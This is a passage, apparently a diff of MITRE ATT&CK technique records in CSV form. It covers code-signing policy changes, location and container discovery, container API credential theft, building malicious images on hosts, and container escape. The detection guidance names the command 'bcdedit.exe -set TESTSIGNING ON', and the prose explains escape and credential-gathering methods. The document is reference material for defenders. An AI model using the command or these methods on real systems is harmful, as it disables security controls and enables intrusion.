August 22). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020.', url='https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html'), ExternalReference(source_name='GitHub Turla Driver Loader', description='TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021.', url='https://github.com/hfiref0x/TDL'), ExternalReference(source_name='F-Secure BlackEnergy 2014', description='F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.', url='https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf'), ExternalReference(source_name='Unit42 AcidBox June 2020', description='Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.', url='https://unit42.paloaltonetworks.com/acidbox-rare-malware/')]",attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-04-26 15:41:39.155000+00:00,Code Signing Policy Modification,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Abel Morales, Exabeam']","['Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Process: Process Creation']","['Application control', 'User Mode Signature Validation', 'Digital Certificate Validation']",,,,"Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as bcdedit.exe -set TESTSIGNING ON.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as HKCU\Software\Policies\Microsoft\Windows NT\Driver Signing. Modifications to the code signing policy of a system are likely to be rare.",,,,,True,,,['Administrator'],"['Windows', 'macOS']",,,,1.0 -2021-04-01 16:42:08.735000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5," +To gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1553/006', 'external_id': 'T1553.006'}, {'source_name': 'Microsoft DSE June 2017', 'description': 'Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN'}, {'source_name': 'Apple Disable SIP', 'description': 'Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021.', 'url': 'https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection'}, {'source_name': 'Microsoft Unsigned Driver Apr 2017', 'description': 'Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test'}, {'source_name': 'Microsoft TESTSIGNING Feb 2021', 'description': 'Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option'}, {'source_name': 'FireEye HIKIT Rootkit Part 2', 'description': 'Glyer, C., Kazanciyan, R. (2012, August 22). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html'}, {'source_name': 'GitHub Turla Driver Loader', 'description': 'TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021.', 'url': 'https://github.com/hfiref0x/TDL'}, {'source_name': 'F-Secure BlackEnergy 2014', 'description': 'F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.', 'url': 'https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf'}, {'source_name': 'Unit42 AcidBox June 2020', 'description': 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.', 'url': 'https://unit42.paloaltonetworks.com/acidbox-rare-malware/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Abel Morales, Exabeam']","['Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Process: Process Creation']","['Application control', 'User Mode Signature Validation', 'Digital Certificate Validation']","Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as bcdedit.exe -set TESTSIGNING ON.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as HKCU\Software\Policies\Microsoft\Windows NT\Driver Signing. Modifications to the code signing policy of a system are likely to be rare.",True,['Administrator'],"['Windows', 'macOS']",1.0,,,,,,, +attack-pattern,attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-04-01T16:42:08.735Z,2021-10-15T22:00:56.438Z,System Location Discovery," Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021) -Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1614', external_id='T1614'), ExternalReference(source_name='FBI Ragnar Locker 2020', description='FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved April 1, 2021.', url='https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf'), ExternalReference(source_name='Sophos Geolocation 2016', description='Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals target you based on where you live. Retrieved April 1, 2021.', url='https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/'), ExternalReference(source_name='Bleepingcomputer RAT malware 2020', description='Abrams, L. (2020, October 23). New RAT malware gets commands via Discord, has ransomware feature. Retrieved April 1, 2021.', url='https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/'), ExternalReference(source_name='AWS Instance Identity Documents', description='Amazon. (n.d.). Instance identity documents. Retrieved April 2, 2021.', url='https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html'), ExternalReference(source_name='Microsoft Azure Instance Metadata 2021', description='Microsoft. (2021, February 21). Azure Instance Metadata Service (Windows). Retrieved April 2, 2021.', url='https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows'), ExternalReference(source_name='Securelist Trasparent Tribe 2020', description='Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved April 1, 2021.', url='https://securelist.com/transparent-tribe-part-1/98127/')]",attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-04-20 19:25:49.977000+00:00,System Location Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Pooja Natarajan, NEC Corporation India', 'Hiroki Nagahama, NEC Corporation', 'Manikantan Srinivasan, NEC Corporation India', 'Wes Hurd', 'Katie Nickels, Red Canary']","['Instance: Instance Metadata', 'Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. +Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1614', 'external_id': 'T1614'}, {'source_name': 'FBI Ragnar Locker 2020', 'description': 'FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved April 1, 2021.', 'url': 'https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf'}, {'source_name': 'Sophos Geolocation 2016', 'description': 'Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals target you based on where you live. Retrieved April 1, 2021.', 'url': 'https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/'}, {'source_name': 'Bleepingcomputer RAT malware 2020', 'description': 'Abrams, L. (2020, October 23). New RAT malware gets commands via Discord, has ransomware feature. Retrieved April 1, 2021.', 'url': 'https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/'}, {'source_name': 'AWS Instance Identity Documents', 'description': 'Amazon. (n.d.). Instance identity documents. Retrieved April 2, 2021.', 'url': 'https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html'}, {'source_name': 'Microsoft Azure Instance Metadata 2021', 'description': 'Microsoft. (2021, February 21). Azure Instance Metadata Service (Windows). Retrieved April 2, 2021.', 'url': 'https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows'}, {'source_name': 'Securelist Trasparent Tribe 2020', 'description': 'Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved April 1, 2021.', 'url': 'https://securelist.com/transparent-tribe-part-1/98127/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Pooja Natarajan, NEC Corporation India', 'Hiroki Nagahama, NEC Corporation', 'Manikantan Srinivasan, NEC Corporation India', 'Wes Hurd', 'Katie Nickels, Red Canary']","['Instance: Instance Metadata', 'Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling GetLocaleInfoW to gather information.(Citation: FBI Ragnar Locker 2020) -Monitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.",,,,,False,,,['User'],"['Windows', 'Linux', 'macOS', 'IaaS']",,,,1.0 -2021-03-31 14:26:00.848000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster. +Monitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.",False,['User'],"['Windows', 'Linux', 'macOS', 'IaaS']",1.0,,,,,,, +attack-pattern,attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-31T14:26:00.848Z,2021-04-12T18:22:05.737Z,Container and Resource Discovery,"Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster. + +These resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary’s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1613', 'external_id': 'T1613'}, {'source_name': 'Docker API', 'description': 'Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.', 'url': 'https://docs.docker.com/engine/api/v1.41/'}, {'source_name': 'Kubernetes API', 'description': 'The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.', 'url': 'https://kubernetes.io/docs/concepts/overview/kubernetes-api/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Vishwas Manral, McAfee', 'Center for Threat-Informed Defense (CTID)', 'Yossi Weizman, Azure Defender Research Team']","['Cluster: Cluster Metadata', 'Container: Container Enumeration', 'Container: Container Metadata', 'Pod: Pod Enumeration', 'Pod: Pod Metadata', 'Application Log: Application Log Content']",,"Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level. -These resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary’s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1613', external_id='T1613'), ExternalReference(source_name='Docker API', description='Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.', url='https://docs.docker.com/engine/api/v1.41/'), ExternalReference(source_name='Kubernetes API', description='The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.', url='https://kubernetes.io/docs/concepts/overview/kubernetes-api/')]",attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-04-12 18:22:05.737000+00:00,Container and Resource Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Vishwas Manral, McAfee', 'Center for Threat-Informed Defense (CTID)', 'Yossi Weizman, Azure Defender Research Team']","['Cluster: Cluster Metadata', 'Container: Container Enumeration', 'Container: Container Metadata', 'Pod: Pod Enumeration', 'Pod: Pod Metadata', 'Application Log: Application Log Content']",,,,,"Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level. +Monitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. ",False,['User'],['Containers'],1.0,,,,,,, +attack-pattern,attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-31T14:01:52.321Z,2021-04-12T18:20:31.636Z,Container API,"Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API) -Monitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. ",,,,,False,,,['User'],['Containers'],,,,1.0 -2021-03-31 14:01:52.321000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API) +An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1552/007', 'external_id': 'T1552.007'}, {'source_name': 'Docker API', 'description': 'Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.', 'url': 'https://docs.docker.com/engine/api/v1.41/'}, {'source_name': 'Kubernetes API', 'description': 'The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.', 'url': 'https://kubernetes.io/docs/concepts/overview/kubernetes-api/'}, {'source_name': 'Unit 42 Unsecured Docker Daemons', 'description': ""Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021."", 'url': 'https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Center for Threat-Informed Defense (CTID)', 'Jay Chen, Palo Alto Networks', 'Yossi Weizman, Azure Defender Research Team']","['Command: Command Execution', 'File: File Access', 'User Account: User Account Authentication']",,"Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs. -An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1552/007', external_id='T1552.007'), ExternalReference(source_name='Docker API', description='Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.', url='https://docs.docker.com/engine/api/v1.41/'), ExternalReference(source_name='Kubernetes API', description='The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.', url='https://kubernetes.io/docs/concepts/overview/kubernetes-api/'), ExternalReference(source_name='Unit 42 Unsecured Docker Daemons', description=""Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021."", url='https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/')]",attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2021-04-12 18:20:31.636000+00:00,Container API,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Center for Threat-Informed Defense (CTID)', 'Jay Chen, Palo Alto Networks', 'Yossi Weizman, Azure Defender Research Team']","['Command: Command Execution', 'File: File Access', 'User Account: User Account Authentication']",,,,,"Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs. +It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).",True,"['User', 'Administrator']",['Containers'],1.0,,,,,,, +attack-pattern,attack-pattern--800f9819-7007-4540-a520-40e655876800,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-30T17:54:03.944Z,2021-08-26T16:45:04.924Z,Build Image on Host,"Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image) -It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).",,,,,True,,,"['User', 'Administrator']",['Containers'],,,,1.0 -2021-03-30 17:54:03.944000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image) +An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1612', 'external_id': 'T1612'}, {'source_name': 'Docker Build Image', 'description': 'Docker. ( null). Docker Engine API v1.41 Reference - Build an Image. Retrieved March 30, 2021.', 'url': 'https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild'}, {'source_name': 'Aqua Build Images on Hosts', 'description': 'Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.', 'url': 'https://blog.aquasec.com/malicious-container-image-docker-container-host'}, {'source_name': 'Aqua Security Cloud Native Threat Report June 2021', 'description': 'Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.', 'url': 'https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Assaf Morag, @MoragAssaf, Team Nautilus Aqua Security', 'Roi Kol, @roykol1, Team Nautilus Aqua Security', 'Michael Katchinskiy, @michael64194968, Team Nautilus Aqua Security', 'Vishwas Manral, McAfee']","['Image: Image Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,Monitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment. Additionally monitor for subsequent network communication with anomalous IPs that have never been seen before in the environment that indicate the download of malicious code.,False,"['User', 'root']",['Containers'],1.1,,,,,,, +attack-pattern,attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-30T17:38:34.277Z,2021-10-15T14:59:35.913Z,Escape to Host,"Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview) -An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1612', external_id='T1612'), ExternalReference(source_name='Docker Build Image', description='Docker. ( null). Docker Engine API v1.41 Reference - Build an Image. Retrieved March 30, 2021.', url='https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild'), ExternalReference(source_name='Aqua Build Images on Hosts', description='Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.', url='https://blog.aquasec.com/malicious-container-image-docker-container-host')]",attack-pattern--800f9819-7007-4540-a520-40e655876800,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-04-19 13:39:56.999000+00:00,Build Image on Host,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Assaf Morag, @MoragAssaf, Team Nautilus Aqua Security', 'Roi Kol, @roykol1, Team Nautilus Aqua Security', 'Michael Katchinskiy, @michael64194968, Team Nautilus Aqua Security', 'Vishwas Manral, McAfee']","['Image: Image Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,,Monitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment. Additionally monitor for subsequent network communication with anomalous IPs that have never been seen before in the environment that indicate the download of malicious code.,,,,,False,,,"['User', 'root']",['Containers'],,,,1.0 -2021-03-30 17:38:34.277000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview) +There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, or utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open) -There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, and utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1611', external_id='T1611'), ExternalReference(source_name='Docker Overview', description='Docker. (n.d.). Docker Overview. Retrieved March 30, 2021.', url='https://docs.docker.com/get-started/overview/'), ExternalReference(source_name='Docker Bind Mounts', description='Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021.', url='https://docs.docker.com/storage/bind-mounts/'), ExternalReference(source_name='Trend Micro Privileged Container', description='Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged Container in Docker is a Bad Idea. Retrieved March 30, 2021.', url='https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html'), ExternalReference(source_name='Intezer Doki July 20', description='Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021.', url='https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/')]",attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2021-04-22 16:14:59.756000+00:00,Escape to Host,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics', 'Alfredo Oliveira, Trend Micro', 'David Fiser, @anu4is, Trend Micro', 'Idan Frimark, Cisco', 'Magno Logan, @magnologan, Trend Micro', 'Ariel Shuper, Cisco', 'Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee']","['Container: Container Creation', 'Process: OS API Execution', 'Process: Process Creation']",,,,,"Monitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. Additionally, monitor for unexpected usage of syscalls such as mount (as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers' volume configurations.",,,,,False,,,"['Administrator', 'User', 'root']","['Windows', 'Linux', 'Containers']",,,,1.0 -2021-03-30 17:20:05.789000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs) +Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1611', 'external_id': 'T1611'}, {'source_name': 'Docker Overview', 'description': 'Docker. (n.d.). Docker Overview. Retrieved March 30, 2021.', 'url': 'https://docs.docker.com/get-started/overview/'}, {'source_name': 'Docker Bind Mounts', 'description': 'Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021.', 'url': 'https://docs.docker.com/storage/bind-mounts/'}, {'source_name': 'Trend Micro Privileged Container', 'description': 'Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged Container in Docker is a Bad Idea. Retrieved March 30, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html'}, {'source_name': 